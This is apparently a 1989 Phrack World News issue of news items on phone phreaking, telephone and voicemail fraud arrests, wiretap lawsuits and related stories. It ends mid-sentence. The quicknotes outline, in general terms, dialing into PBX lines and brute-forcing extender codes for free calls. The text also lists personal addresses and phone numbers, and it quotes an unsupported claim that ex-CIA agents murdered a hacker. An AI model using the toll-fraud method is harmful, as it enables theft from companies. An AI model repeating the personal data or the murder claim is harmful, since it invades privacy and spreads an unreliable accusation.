PWN PWN PWN PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN FCC Orders Radio Station To Stop Phone Pranks August 30, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Federal Communications Commission has slapped Chicago radio station WLUP-AM (1000) and WLUP-FM (97.9) with a $5000 fine and threatened to pull their license for illegally broadcasting phone calls to "unsuspecting individuals." The FCC specifically cited "willful behavior and repeated violations of its policy that recipients of phone calls from radio stations must be informed in advance -- and on the air at the start of the call -- that they are being broadcast." In particular, the FCC noted that morning host Jonathon Brandmeier and mid-day host Kevin Matthews were in frequent violation of this rule. Scott G. Ginsberg, president and chief executive officer of Evergreen Media Corporation, parent company and license holder for WLUP confirmed that his company had paid the $5000 fine without protest for illegally broadcasting phone calls. He compared this punishment to receiving a traffic ticket. Both Brandmeier and Matthews enjoy harassing people on the phone, and broadcasting the reaction of their victims over the air. One of the calls placed by Matthews involved him posing as a police officer. He called a funeral home and spoke to the widow of a man who died the day before. He told her that her niece and nephew, who were scheduled to come to the funeral home later that day to help with burial arrangements had been arrested. The widow was not amused. She filed suit against WLUP and Matthews. Brandmeier likes to harass celebrities by managing to find their unlisted home phone numbers and call them at 6:30 or 7:00 AM when his show goes on the air. He also pulls phone scams including sending unwanted food orders; calling employers to provide excuses for employees who won't be at work that day, and similar. Always broadcasting the calls on the air, of course. But it was the call to the grieving widow at the funeral home which got the FCC livid. The Commission contacted the station that day, and an Enforcement Officer threatened to put the station off the air that day -- in a matter of minutes when he could get the order signed. After some discussion, WLUP was permitted to continue broadcasting, but a memo was circulated to all employees warning that effective immediately, any violation of the phone rules would lead to immediate termination. But despite this, less than three months later, Brandmeier pulled another of his obnoxious phone pranks. This time, the FCC gave him personally a $5000 fine, and told WLUP "either keep those two under control on the air or you'll get your license yanked." Now WLUP faces more sanctions, and the probable non-renewal of its license when it expires December 1, 1989. Afternoon disk jockey Steve Dahl routinely broadcasts indecent material on his show. Daily topics of conversation include sadism and masochism, child molestation, sexual behavior of all sorts, and frequent slurs of the most vicious kind against gay people. He uses "street language" to express himself, of course, and has used the famous "seven words you never say on the radio" more times than anyone remembers. The victims of the phone pranks have consulted with their own attorney as a group, and he in turn is pressing the FCC to shut down WLUP completely. Ginsberg says he does not understand why the FCC is picking on them. He says it must be competing radio stations that would like to see them off the air, since they are rated number three in the Chicago area, which certainly says a lot about Chicagoan's taste in radio entertainment. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Long time Phrack World News readers may have noticed a familiar name in this article: Steve Dahl. Depending on how long you have been with us, you may wish to refer to Phrack World News Issue Five/Part One (in Phrack Inc. Volume One, Issue Six). There is an article entitled "Mark Tabas and Karl Marx Busted" and it is dated May 2, 1986. Along with this article is a short note that explains how an informant (possibly the son of an agent of the Secret Service or Federal Bureau of Investigation) was believed to be using the handle of Jack or Will Bell and had helped the authorities get Tabas and Marx. It was widely known that he was from the 312 NPA -- Chicago, Illinois. In the following issue of Phrack Inc. we have PWN Issue VI/Part 1 and an article entitled, "Marx and Tabas: The Full Story." This article further explains how Steve Dahl was busted (for unknown crimes) in Miami, Florida by the U.S. Secret Service and then made a deal to help them get Karl Marx and Mark Tabas. So is the Steve Dahl of WLUP in Chicago the same Steve Dahl from Chicago that helped the U.S. Secret Service nail Mark Tabas and Karl Marx? _______________________________________________________________________________ Reach Out And Tap Someone Revisited July 30, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In Phrack World News Issue XXVI/Part 2 there was an article about two former employees of Cincinnati Bell (Leonard Gates and Robert Draise) who claimed they had had engaged in numerous illegal taps over a 12 year period at the request of their supervisors at Cincinnati Bell and the Cincinnati Police Department. Cincinnati Bell filed suit against the two men, Leonard Gates and Robert Draise, claiming both were liars out to get even with the company after they had been fired for other reasons. "'Taint necessarily so," said a judge who agreed the charges may have some merit, and permitted the class action suit against Cincinnati Bell to continue this past week. The class action suit claims that Cincinnati Bell routinely invaded the privacy of thousands of people in the area by secretly tapping their phones at the request of police or FBI officials over a twelve year period from 1972 - 1984. The taps were mainly applied against political dissidents during the Vietnam era, and in more recent years, against persons under investigation by the United States Attorney in southern Ohio, without the permission of a court. Now says the court, depending on the outcome of the class action suit, the criminal trials of everyone in the past decade in southern Ohio may have to be re-examined in light of illegal evidence gained by the United States Attorney, via the FBI, as a result of the complicity of Cincinnati Bell with that agency, courtesy of Robert Draise and Leonard Gates. The testimony this past week got *very messy* at times. Gates and Draise seem determined to tell every dirty thing they know about Cincinnati Bell's security department from the dozen years they worked there. More details as the trial continues. _______________________________________________________________________________ The Grim Phreaker Cleared In Phone Scam June 30, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Suzanne Getman (Syracuse Herald Journal) "We disposed of this on the basis of his cooperation." A college student who talked his way into being arrested in April (by speaking with a chat operator) was cleared of charges against him this week. Kevin C. Ashford aka The Grim Phreaker, age 22, was arrested by sheriff's deputies on April 21 a mere five minutes after using a payphone to speak with an operator on the Onadaga Community College campus and charged with theft of services, a misdemeanor. Ashford admitted placing about 30 calls to a party lines known as bridges by using phony credit card numbers and extenders. "We disposed of this on the basis of his cooperation, our problem with proof, and his completion of 30 hours of community service," Assistant District Attorney Timothy Keough said. Ashford had cooperated by assisting and providing information to the Sheriff's Department, the Federal Bureau of Investigation, and the Secret Service for more than three weeks. There was no problem with proof however because Ashford admitted he was guilty of all of the crimes. Ashford was arrested in Onadaga Community College campus' Gordon Student Center on April 21, minutes after he placed a call to a nationwide party line called Systems 800 International (who offered to drop charges if they could receive copies of Phrack Inc. Newsletter from him and if he would work for them trapping others). Company officials said there is no way to establish the cost of the fraudulent calls. "Without a dollar amount, we didn't have proof. Without proof, we couldn't prosecute," Keough said. Article Submitted by DarkMage _______________________________________________________________________________ Phony IRS Refunds By Computer August 17, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ By John King (Boston Globe) "Computer Filer Got $325,000 In Phony Refunds, IRS claims." Clever tax preparers are one thing, but a clever bookkeeper who allegedly pried 325,000 dollars from the Internal Revenue Service found himself on the wrong side of the law yesterday, August 16. In what may be the nation's first charge of electronic tax fraud, IRS special agents yesterday arrested Alan N. Scott of West Roxbury [a suburb of Boston], saying he claimed 45 fraudulent income tax refunds for amounts ranging from 3,000 dollars to 23,000 dollars. The IRS charges that Scott, age 37, used the service's new electronic filing system -- open only to tax preparers -- to submit phony claims with assumed names and Social Security numbers. In some cases, the names used were of people in prison, according to Chief Kenneth Claunch, IRS Criminal Investigation Division. "The computer age has spawned a new breed of criminal," Claunch said in a statement. New in tools, perhaps. As for the basic idea -- filing a false return in order to snare an unwarranted refund -- that's old hat, admitted IRS spokeswoman Marti Melecio. "I can't say that it's a new trick. We've had fraud cases with paper returns," Melecio said. "The time frame is different, though. With electronic filings, the returns come back in two or three weeks." According to the IRS, Scott received electronic filing status on January 31. He did this by using a false Social Security number, and making false statements on his application. However, the IRS also says Scott electronically filed 10 returns where he used his own name as a preparer, and these returns appear to be legitimate. The scheme was uncovered by a "questionable refund detection team," at the IRS service center in Andover, Massachusetts. Also, the IRS credited a tip from an unnamed Boston bank "which reported a suspicious electronic transfer of funds to an individual," presumably Scott. If convicted, Scott faces a possible prison sentence and up to 250,000 dollars in fines on each of the counts of fraud. _______________________________________________________________________________ Paris Computer Takes Law Into Its Own Hands September 6, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >From The Guardian A crusading computer has taken the law into its own hands and caught 41,000 Parisians on charges of murder, extortion, prostitution, drug trafficking and other serious crimes. But the big round-up ended in embarrassment after an admission by the City Hall yesterday that the electronic "Batman" could not tell the difference between a parking offense and gang warfare. "The accused persons will be receiving letters of apology," an official at the City Hall Treasury department said. "Instead of receiving summons on criminal charges, they should have been sent reminders of unpaid motoring fines in April. Somehow the standard codes we use for automatically issued reminders got mixed up." The first hint of the avenging computer's self-appointed mission to clean up the capital came at the weekend. Hundreds of Parisians received printed letters accusing them of big crimes, but demanding only petty fines for the major crimes of between $50 and $150 (pounds - UK equivalent). "About 41,000 people are involved and some of the charges are quite weird," the official admitted. "One man has complained of being accused of dealing in illegal veterinary products. Unfortunately, other accusations went much further, like man-slaughter through the administration of dangerous drugs." "There were a lot of cases of living off immoral earnings, racketeering and murder." The official said an inquiry had been started to see if the caped computer had a human accomplice. So far, no one has asked the Joker if he was in Paris last week. _______________________________________________________________________________ Chalisti Magazine by the Chaos Computer Club August 20, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In the future, there will be an electronic magazine, published by, and concerning the Chaos Computer Club. It is called Chalisti and the name is derived from "Kalisti," the Goddess of Chaos and will, hopefully, stand for creative Chaos and not for chaotic, but, as always only time will tell. The idea is like this... Over the different data networks, masses of information flow. On the Usenet it is about 100 MB/Month, on the CREN (Bitnet + CSNet) the flow is about the same size. On top of these flows, there is the information from national networks like Zerberus, BTX and Geonet. Mostly, a person only gets information from one network and that is why interesting information on data protection, data security, alternative uses of computers, environment, university etc. are being broadcast over only one network. Information from the networks for the networks, but that is not all. There should emerge a list of editors, that is spread over a large area, and works over the nets. Information and and opinions should be exchanged, but also further contacts will emerge. The first edition of Chalisti will presumably be published mid-September. Because of this, the list of editors is relatively small, one will publish stuff from the newest "Datenschleuder", the MIK-magazine and the most interesting messages from the nets that appear in the following weeks. But as soon as the 2nd edition will appear, the content will be different from the "Datenschleuder." In Chalisti, copy and messages from the nets and other media (MIK, and others) will be published as well. Articles meant especially for the Chalisti magazine are requested and these articles will be published with the highest priority. The magazine will be no bigger than 100 KB/Month. In case of doubt, articles will be kept for the forthcoming edition or for the fall in copy in the Summer. But it is also possible, that too few articles are being sent in, in which case the content will be spiced with information from DS, the nets and the MIK-magazine. In this way, a regular emerging of editions is being secured. The first edition is due 15th of September. The second at the end of October. At that date, the holiday will be ended, and a editorial and informal infrastructure will be built. From then on, there should be an edition every month. The editorial part will presumably be done on EARN or CREN. That bears the advantage that quick reactions on recent messages will be possible, as well as the possibility to talk it over at Relay's or Galaxy Meetings, and in this way, an international medium is available. Writers of articles or editors from other nets can be contacted, and there shouldn't be no technical problems in getting the job done. Especially on UUCP and Zerberus, facilities will be created. As ways of contacting the Editors, the following Networks are available: EARN/CREN - Distribution will be done over CHAMAS (107633@DOLUNI1). There will be a board for Chalisti, as well as a CUG for the board of Editors. Contact there will be 151133@DOLUNI1. Presumably, from the beginning of October, the userid CHAMAINT@DOLUNI1 will be available. UUCP/Subnet - Contacting will be possible through chalist@olis, ccc@mcshh and through ..!tmpmbx!DOLUNI1.bitnet!151133. UUCP/Dnet - Contacting will be possible through simon@uniol. Distribution will proceed through this id in dnet.general. Zerberus - At this moment: terra@mafia and terra@chaos-hh. From mid-September on, presumably through chalist@subetha. BTXNet - Unknown yet. GeoNet - mbk1:chaos-team. Time will show, whether distribution of the magazine will be done on GeoNet. Contacting or distribution through FidoNet and MagicNet has been planned for, but has to be built first. Interested people are being asked to use these addresses. For the absolute uncontactable, there is a Snailmail address as well: Frank Simon 12 Kennedy Street 2900 Oldenburg, FRG (West Germany) 04411/592607 (Telephone) Greets Terra _______________________________________________________________________________ Computer-Based Airline Ticket Scam August 14, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Taken from the Los Angeles Times Phoenix police arrested four people as they continued to unravel a bogus airline ticket ring that allegedly sold millions of dollars of stolen tickets by advertising discounted fares in national publications. Investigators said the individuals put together a major conspiracy by knowing how to access airline computers to put travel itineraries in the computer system. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - In the interests of equal access to information for all, I have decided to include some of the supposed deep secrets of how to access airline computers and inset travel itineraries. This can be done from virtually any telephone nationwide (including a rotary dial telephone). This can of course also be done from a public payphone if you should decide to make sure your identity is anonymous. It is necessary to determine the phone number for an airline's computer. All you have to do is call 1-800 directory assistance (1-800-555-1212). Ask for Ozark Airlines reservations (a no longer existent company that was purchased by Trans World Airways [TWA] used here only as an example). The operators on duty will read you a number, 800-PRE-SUFF. Call this number and you will be connected with the Ozark Airlines reservation office. Here they will have a database which stores all of Ozark's itineraries. Simply state the date, flight number, departure and destination cities, and passenger name. It's that easy! You can later dial the same access number and cancel or modify your itineraries. The system even includes search functions if you don't know the flight number, and an extensive help system (just say "How do I make a reservation?"). _______________________________________________________________________________ Fighting Back Against Junk Calls September 4, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "We are not Pavlov's dogs and should not have to jump everytime a bell rings." And if we do hop to the phone on demand, we ought to be paid for it, says Bulmash, president of Private Citizen, Inc., a Warrenville, IL organization designed to prevent what Bulmash describes as "junk calls" from telemarketers. We deserve at least a C-note -- $100, he says. Twice a year, Bulmash, age 43, a paralegal by trade, mails a directory of people who don't wish to have telephone solicitors call them to 600 telemarketing firms. Along with the directories, he sends a contract which states that the people listed will listen to the solicitors only in exchange for $100. If the solicitors call, the contract says, the telemarketing company owes the listener $100. It's for "use of private property -- the phone, your ear, your time," says Bulmash. Subscribers, now numbering about 1000, pay $15 per year to be listed in the Private Citizen directory. While Bulmash doesn't guarantee you won't be called, he does offer some success stories. He says subscribers have collected anywhere from $5 - $92 from telemarketing companies. He offers a money-back deal for those subscribers not completely satisfied. He says only one person has taken him up on it. "You can tell those companies 500 times over the phone not to call and they won't listen," Bulmash says. "But when you threaten them with charging them for your time, that gets their attention." Bulmash, who began Private Citizen in May, 1988, says telemarketers have the attitude of "we're big business, so you just hang up the phone if you don't like us. I say we have a right to be left alone in the first place, at least in our homes." Typically, a telemarketing call to a home has less than a 3 percent success rate, he said, with the other 97 percent of us -- and we know who we are -- being unnecessarily inconvenienced. Bulmash says he has testified before Illinois and California state legislative committees and has lobbied state and federal lawmakers for relief from telemarketers. He teaches the members of his organization how to bill for their time, and in many cases, make the charges stick and get payment for "the use of their time, ear and phone." For more information on Private Citizen, contact Bulmash at 312-393-1555. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Banned in Boston -- Telemarketer Gets Sued! September 14, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Alan Schlesinger's stock in trade is suing people. But you might say his stock is too hot to handle at Merrill Lynch these days. A Boston lawyer who hates telephone solicitors, Schlesinger sued Merrill Lynch after the brokerage firm ignored "repeated requests" to quit calling him with investment proposals. To Merrill Lynch's surprise, he won an injunction. Indeed, he sued them twice and won both times. The second time was after an unwitting broker called him in violation of the court order prohibiting it. "This is something that bothers a lot of people, but they don't have the sense they can do something about it," said Schlesinger, whose best retort is a tort, it would seem. In the second suit, the court awarded him $300, for the costs of his prosecution of the matter and for his time spent on the phone with the brokerage house's phone room. "He is using an atom bomb to deal with a gnat," said William Fitzpatrick, chief lawyer for the Securities Industry Association, faulting Schlesinger for doing what comes naturally for an attorney: "Being a lawyer myself, I can only guess he doesn't have enough brains to just hang up the phone." ______________________________________________________________________ ==Phrack Inc.== Volume Three, Issue 28, File #12 of 12 PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN P h r a c k W o r l d N e w s PWN PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~ PWN PWN Issue XXVIII/Part 4 PWN PWN PWN PWN October 7, 1989 PWN PWN PWN PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN Woman Indicted As Computer Hacker Mastermind June 21, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by John Camper (Chicago Tribune) A federal grand jury indicated a Chicago woman Tuesday for allegedly masterminding a nationwide ring of computer hackers that stole more than $1.6 million of telephone and computer service from various companies. The indictment charges that Leslie Lynne Doucette, 35, of 6748 North Ashland Ave, and 152 associates shared hundreds of stolen credit card numbers by breaking into corporate "voicemail" systems and turning them into computer bulletin boards. Voicemail is a computerized telephone answering machine. After a caller dials the machine's number he punches more numbers on his telephone to place messages in particular voicemail boxes or retrieve messages already there. The indictment charges that the hacker ring obtained more than $9,531.65 of merchandise and $1,453 in Western Union money orders by charging them to stolen bank credit card numbers. It says the group used stolen computer passwords to obtain $38,200 of voicemail service and stolen telephone credit card numbers to run up more than $286,362 of telephone service. But the biggest haul, more than $1,291,362, according to the indictment, represented telephone service that was stolen through the use of Private Branch eXchange (PBX) "extender codes." A PBX system provides internal telephone service within a company. If a PBX system is equipped with an extender, a person can call the PBX system, punch in a code, and dial long distance at the expense of the company that owns the system. The only corporate victims of the alleged fraud named in the indictment are August Financial Corporation of Long Beach California, and A-1 Beeper Service of Mobile, Alabama. Doucette has been held without bond in the Metropolitan Correctional Center since May 24, when she was arrested on a raid on her apartment that netted 168 telephone credit card numbers and 39 extender codes, federal authorities said. The indictment does not name any members of the alleged ring, but authorities said the investigation is continuing. United States Attorney Anton R. Valukas said the indictment is the nation's first involving abuse of voicemail. "The proliferation of computer assisted telecommunications and the increasing reliance on this equipment by American and international business create a potential for serious harm," he said. Authorities said they discovered the scheme last December after a Rolling Meadows real estate broker reported that hackers had invaded his company's voicemail system and changed passwords. Authorities said they traced the calls into the Rolling Meadows voicemail system to telephones in private homes in Chicago, Columbus, Ohio, and suburban Detroit, Atlanta and Boston. Checks on those phones led them to voicemail systems in companies around the country, they said. [For more information see Phrack World News XXVII/Part One and the article entitled, "Computer Intrusion Network in Detroit," dated as May 25, 1989 --KL] _______________________________________________________________________________ Phreaks Abuse East St. Louis Phone Card September 24, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ East St. Louis, IL, a dirt-poor minority suburb of the larger Missouri city by the same name was victimized for several months by phreaks without realizing it until the phone bills for a one year period were audited recently. According to a recent story in the Belleville, IL (News-Democrat), the city is being billed for phone calls to dial-a-porn services and from points as far flung as Florida and Texas. The monthly phone bill for the city of East St. Louis averages $5000, and over the past year it has included calls to nearly every state as well as to "900" area adult talk lines. City Treasurer Charlotte Moore said the number of questionable calls in each month's phone bill, which is usually two inches thick, shows the "need for better policing of phones." No kidding! The (News-Democrat) obtained copies of the phone bill for several months under the Freedom of Information Act, and set about reviewing the places and people called. For example, from March through May of this year, hundreds of dollars in calls were made from places in Texas, Florida and elsewhere, and charged to a Calling Card number assigned to the city. In one instance, a caller in northern Florida made a 288-minute call to Miami that cost East St. Louis $39.27. The (News-Democrat) called the Miami number, and reached a man named John, who refused to give his last name, and claimed he "...had never even heard of East St. Louis..." Calls from one certain number in Houston to places all over the United States accounted for more than $1000 in charges over several months. A man who answered the phone at the Houston number refused to give his name and refused to discuss the matter, or explain how his phone might have been used for the fraudulent calls. Prior to intervention by the newspaper, the city had done nothing. Apparently they were not even aware of the abuse. On notification, the local telco cancelled all outstanding PINS, and issued new ones. Meanwhile, the city of East St. Louis continues to plead poverty. They are barely able to meet payroll for city employees, and have skipped a couple of paydays at that. The city has an extremely poor tax base, and will likely file bankruptcy in the near future. _______________________________________________________________________________ The Cuckoo's Egg October 1, 1989 ~~~~~~~~~~~~~~~~ The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage by Cliff Stoll, Doubleday, 1989, ISBN 0-385-24946-2 ($19.95) Book Review by Louise Bernikow, Cosmopolitan, October 1989 Here is a first -- the true story of a man who notices a seventy-five cent discrepancy in a computer's accounting system and runs the error down until it leads to a real live spy ring. Even if you don't know a byte from a bagel, this book will grip you on page one and hold you as ferociously as the best mystery stories. It is astrophysicist-turned-systems-manager Cliff Stoll's first week on the job at a lab in Berkeley, California. The error turns up, and he tries to figure out why, partly as an exercise in learning about the computer system he's going to be working with. Almost immediately, he discovers that somebody had been breaking into the computer network using a fake password. That discovery leads him to other break-ins in other computers, including some in military installations. He alerts the FBI, which, since he has lost neither half a million dollars nor any classified information, says, "Go away, kid." Stoll presses on, sleeping under his desk at night, monitoring the system -- a hound waiting for the fox to come out in the open. There is suspense aplenty, but it's the intensely human, often funny voice of the man on the trail that makes this book so wonderful. Stoll's girlfriend, Martha, a law student, seems like one smart and delightful cookie, and she puts up with his obsession pretty well. In the end, Stoll becomes a national hero. The play-by-play is nothing short of fascinating. [I wonder if anyone got those cookies --KL] _______________________________________________________________________________ Hackwatch Spokesman Charged October 2, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Taken from Computing Australia Self-styled computer security expert Paul Dummett, alias Stuart Gill, has been charged with making false reports to the Victoria Police following an investigation into claims he made in the daily media late in 1988 and early this year. The articles often quoted Gill, introducing himself as a spokesman for either "Hackwatch" or the "DPG monitoring service". Gill claimed hackers in Australia had gained access codes from others in the US and lifted $500,000 (US) from the International Citibank, United States. Other claims include credit card numbers had been posted on bulletin boards for BBS users' access; drugs, including steroids, were being sold using bulletin boards; evidence of this had been given to the police by informers; and in response, the police had raided several hackers' homes. The police, including the Criminal Investigation Bureau and the Fraud Squad's Computer Section, repeatedly denied the claims. Gill had disappeared, but returned again on September 22 and was charged in the Frankston Magistrates' Court under his real name, Paul Dummett. According to court documents, police investigating Dummett's claims allegedly found Citibank's computer network had not been illegally accessed on its New York number as Dummett had claimed. When Dummett appeared in court his legal aid counsel Serge Sztrajt applied successfully to adjourn the case until October 20. Dummett did not enter a plea. _______________________________________________________________________________ PWN Quicknotes ~~~~~~~~~~~~~~ 1. Hire A Hacker? -- "Some very notable people in the computer industry started out as hackers tinkering around in a mischievous fashion," Ron Gruner, president of Alliant Computer Systems Corporation told Computerworld why he would probably hire Robert T. Morris Jr., of Cornell and creator of Internet worm. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2. Computer Hackers Rip Off Corporate 800 Lines -- Computer hackers pride themselves on never having to pay for long distance calls. How do they do it? Sam Daskam, president of Information Security Association (ISA), explains: Hackers call corporate numbers until they find one with an automated switchboard. The fingers do not do the walking. Automatic caller software is used. Then they link their computer to try all combinations of three or four-digit numbers until they find one which connects them to the company's outside toll or 800 line. Once they get a dial tone, they can make calls anywhere at the firm's expense. Taken from the Security Letter 1989. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 3. 900 Service Considered -- There has been talk among some companies about switching from using the 800 toll free numbers to 900 numbers since the ease of use of the 900 numbers has been shown so vividly. This would save the corporations a large degree of money. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4. Grocery Store "Hackers" Sell Drugs And Women -- The VMB (voice mailbox) system of a wholesale grocer in Los Angeles was commandeered to a small band of "hackers," who used the system to run a prostitution ring and disseminate data about drugs. Finally, valid VMB users complained that they could not use the service since their passwords were invalidated. An investigation disclosed that the "hackers" overrode security features and acquired 200 VMBs for their own use. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5. Phone Phreaks Busted In Upstate New York -- Once again it seems that Syracuse, New York is ripe for the picking for law officials to grab hackers involved computer related crimes. In August the Federal Communications Commission (FCC) put a local area police sergeant in charge of contacting a list of local computer users that were using a local long distance service that offered national and international calling. It seems that one user of the service contacted the company about a large bill, $10,000, that he received. The company then put a trap on the code and accumulated a list of unauthorized users to that code. So far the local authorities, the state police, and the FBI have been brought in on the case. They have been interviewing those on the list and so far most have cooperated fully with the police (most offenders are underage). One user called Gunter has even allowed the police to use his computer bbs accounts. The service used by those caught (25 people) where to place long distance calls to France, Dominican Republic, Kenya, and Germany. The callers also used the service to call locally in Syracuse, as one person said that it cleaned up the line noise. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 6. Bulletin Board Scanning Saves Boy (August 24, 1989) --Undercover police in San Jose, California, have been watching bulletin boards for several years, looking for computer users who boast about their criminal exploits. It was such activity that led them to Virginians Dean Ashley Lambey, 34, and Daniel T. Depew, 28, who have been accused of conspiring to kidnap a young boy to be filmed as they molested him and then killed him. (Article by Tracie L. Thompson of the San Francisco Chronicle.) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7. German Hackers Attempt To End Smoking (August 29, 1989) -- On Saturday, August 26, 1989, ZDF (the second German television station and one of the 2 nationwide television channels) asked their viewers whether they thought smoking should be banned in public areas. The viewers could reply by telephone, dialing one telephone number for "yes" and another telephone number for "no." Within a time frame slot of 14 minutes, 52,942 telephone calls came in, with a ratio of 54:46 in favor of prohibiting smoking. This means that 29,669 voted in favor of a prohibition, and 25,273 opposed it. On Monday, August 28, 1989, a group of South German hackers claimed to have manipulated the quota by dialing the "yes" number with 83 personal computers at a rate of 4 times a minute; virtually all of their calls came through so that about the maximum of 4,648 "yes" votes came from their computers. These circumstances led to new results in the poll: "Yes" = 25,021 and "No" = 25,273, giving the "no" group a small majority. Story by Klaus Brunnstein - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 8. Immigration Chief Proposes National Computer Screen (June 22, 1989) --LA JOLLA, CA, -- The Commissioner of Immigration and Naturalization, Alan C. Nelson, today proposed a nationwide computer system to verify the identities of all job applicants in order to halt the widespread use of fraudulent documents by illegal aliens seeking jobs. Mr. Nelson also suggested standardized identity cards for immigrants so as to get fuller compliance with a 1986 law prohibiting employment of illegal aliens. Creating a national identity card and other ways of checking legal status or identity have been repeatedly suggested in Congress as tools in fighting unlawful immigration, but have also been consistently rejected as potential infringements on civil liberties. The national computerized database on everybody is one bad idea that simply refuses to stay dead, no matter how many times we drive a stake through its heart -- if the INS didn't resurrect it, the drug czar or the FBI would. "Eternal vigilance..." Story by Roberto Suro (New York Times) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 9. West German Computer Hackers Accused Of Spying For Soviets (Aug. 17, 1989) -- Associated Press (Frankfurt) -- Three computer hackers, suspected of giving the Soviet Union information from military and industrial computers worldwide, have been indicted on espionage charges, prosecutors said yesterday. The West German government called the breakup of the spy ring, which gave the KGB secret data from 12 countries, including the United States, "a major blow" to the Soviets. In a four-page statement, Kurt Rebman, the chief federal prosecutor, said it was the first time his office had prosecuted hackers for endangering national security. Taken from the Boston Globe - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 10. Challenge To Phreaks! (August 31, 1989) -- Nippon Telegraph & Telephone Corp. (Tokyo) is offering a $7,000 reward to any person or organization that can invade its FEAL-8 private communication and data system, according to an Associated Press report that NTT America Inc. officials could not confirm. The reward offer supposedly expires 8/31/91. No telephone number or other information was included. Taken from the Wall Street Journal. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 11. Shadow Stalker Loses Out (August 7, 1989) -- A 17-year-old Michigan boy has been charged with posting stolen long-distance telephone codes on a bulletin board system operated in his home. Brent G. Patrick, alias "Shadow Stalker" online, was arraigned this week on one count of stealing or retaining a financial transaction device without consent. Patrick was released on $2,500 bond, pending his hearing. The youth faces a maximum of four years in prison and a $2,000 fine if convicted. His bulletin board, Wizard Circle, has been closed. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 12. Philadelphia Hackers Change Speed Limit -- Recently an unknown hacker got into the computer that controlled the speed limit on the Burlington-Bristol Bridge. He proceeded to change the speed limit from 45 m.p.h. to 75 m.p.h. A lot of people were stopped and ticketed and judges say they will not hear any appeals because, "the public should know better than that no matter what the sign says." The police claim to have leads, however this is doubtful. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 13. Two Story Jump To Escape From Secret Service (July 26, 1989) -- Red Rebel, a known hacker in Florida was busted by the United States Secret Service and local authorities. It seems that in attempt to to escape he actually jumped out a second story window and ran for a while. The Secret Service confiscated two computers and a load of disks. To make matters worse, similar to Oryan QUEST, Red Rebel is not an American citizen and is likely to be deported. Red Rebel is charged with resisting arrest, interfering with evidence, and something concerning credit card fraud. Information provided by The Traxster. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 14. Fraud Alert (September 1989) -- PBX fraud is busting out all over. Long distance carriers are being overwhelmed by corporate customers demanding refunds for fraud perpetrated on them. No long distance carrier covers their customer's long-term fraud. If you got fraud you got to pay. This is not like stolen credit cards. This is real serious stuff. Thieves are dialing into 800 INWATS lines and, via auto attendants, hacking their way to overseas. The big calls go to drug-related countries, especially Colombia, Pakistan, Dominican Republic, and Ecuador. But no one really knows which countries are drug-related and which aren't. Taken from Teleconnect Magazine. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 15. Motorola Introduces Network Encryption System (August 4, 1989) -- Motorola Government Equipment Group (GEG) has introduced its Network Encryption System (NES), which features the latest in security services for the protection of Local Area Networks (LANs). Designed in accordance with Secure Data Network System (SDNS) standards including SDNS electronic key management, the NES is a flexible internet security solution for Type I applications. The NES is unique in COMSEC technology because the protocol software is loaded via diskette. The NES is installed in the drop cable between the computer and the transceiver, or as a gateway device separating a LAN from a backbone network. The product supports both DoD and ISO internet standards allowing protection over wide area networks. The initial product accommodates connection to IEEE 802.3 and IEEE 802.4 medias. Motorola Inc. has a Memorandum of Agreement with the National Security Agency and anticipates product endorsement in the first quarter of next year. The LAN product represents the first of a family of SDNS products that will provide complete, interoperable system security solutions. Additional information on the NES can be obtained from Joe Marino at (602) 441-5827. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 16. The Death of Shadow 2600: No Accident (July 6, 1989) -- The following is a message taken from The Central Office: 89Jul06 from fdg @ The Central Office MY CONDOLENCES TO DAVE FLORY'S FAMILY AND FRIENDS. Do you all realize WHY a 22 year old died? It says one thing to me. He was killed by some insane ex-CIA types. Most likely under orders from the idiots who tried to prosecute him in 1985. This kind of thing is getting more common under President Bush. He ran the CIA, and he is now 